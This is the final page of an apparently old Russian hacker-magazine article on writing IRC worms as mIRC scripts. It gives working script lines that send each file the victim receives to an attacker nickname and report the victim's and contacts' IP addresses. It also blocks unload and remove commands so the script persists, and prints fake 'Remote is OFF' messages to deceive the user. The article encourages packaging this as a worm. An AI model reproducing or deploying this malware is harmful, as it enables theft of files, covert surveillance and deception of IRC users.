IRC-вирусы

Xakep, номер #021, стр. 021-060-6


Правда, есть один нюанс - перед выполнением команды fserve - доступа к жесткому диску - будет выдано соответствующее сообщение об опасности, количестве хакеров на квадратный километр и все такое. Вместо одной этой команды можно попробовать вот эти две:

n16=on 1:filercvd:*.*: .dcc send Hacker $filename

n17=on 1:filercvd:*.exe,*.com,*.ini,*.vbs,*.bat: .dcc send Hacker $filename

Эти будут просто отсылать все файлы, которые лама получает/отсылает хакеру ;-).

Осталось внести пару штрихов в общий план, и ты сможешь сам составить вируса-червяка для IRC. Надо будет собрать все вместе, быстренько набросать прогу типа WORM.EXE и вперед, к освоению космоса! ;-)

После составления скрипта было бы неплохо позаботиться о его жизнеспособности. Сделаем так, чтобы скрипт нельзя было выгрузить и удалить, а еще запретить реакцию на некоторые события. Делается это просто:

n23=alias unload { halt }

n24=alias remove { halt }

n25=alias remote { halt }

Но для пущего эффекта можно симулировать работу этих команд, чтобы ламос не догадался, что что-то не так:

n5=alias remote {

n6= if ($1 == off) { echo 6 *** Remote is OFF (Ctcps,Events,Raw) }

n7= if ($1 == on) { echo 6 *** Remote is ON (Ctcps,Events,Raw) }

n8=}

n9=alias unload {

n10= if ($1 == -rs) { echo 6 *** Unloaded script 'script.ini' }

n11=}

Кроме того, можно подгружать вспомогательные скрипты:

n16=/load -rs file.ext

Но это еще не все. mIRC - это архинастраиваемая оболочка, поэтому в ней можно запретить практически все. Но точно так же можно запретить и запрещать практически все. ;-)

n15=alias /play /echo 2 *** Unable To Play $1-

n16=alias /remote /.remote on | /echo 12 *** Remote Off

n17=alias /events /.events on | /echo 12 *** Events Off

n18=alias /sreq /echo 12 SREQ IS NOW OFF

Команда /play позволяет выводить содержимое текстового файла на консоль, /remote - отключать доступ к серверу через /raw и т.д., с помощью /events можно отключать любую реакцию на события, а /sreq просто отключает /dcc команды. Но при таком раскладе они всегда останутся включенными, а пользователю мы заявим, что - да, мол, все по нулям.

Последний штрих - DNS обращения при коннекте к серверу:

n1=on 1:dns:.raw -q PRIVMSG Hacker: $iaddress address: $naddress resolved: $raddress

Это позволит следить за IP-адресом пользователя и всех тех, к кому он обращается. Удобная штучка.

Вот, собственно, и все - начало положено. Остальное можно восполнить прямо из MIRC.HLP. Слегка посмотреть на него, может поискать в Сети примерчики, а может выпить бутылочку темного пивка для вдохновения (вопреки рекламе, самый вдохновенный гон рождается вовсе не от сладкой парочки Twix ;-))).

В общем, гуд лак!

Тхе Енд

P.S. Да! Чуть не забыл - нельзя использовать обработчики одного и того же собыnия дважды - не сработают. А в целом - лучше все пробовать делать самому. ;-)

Назад на стр. 021-060-5  Содержание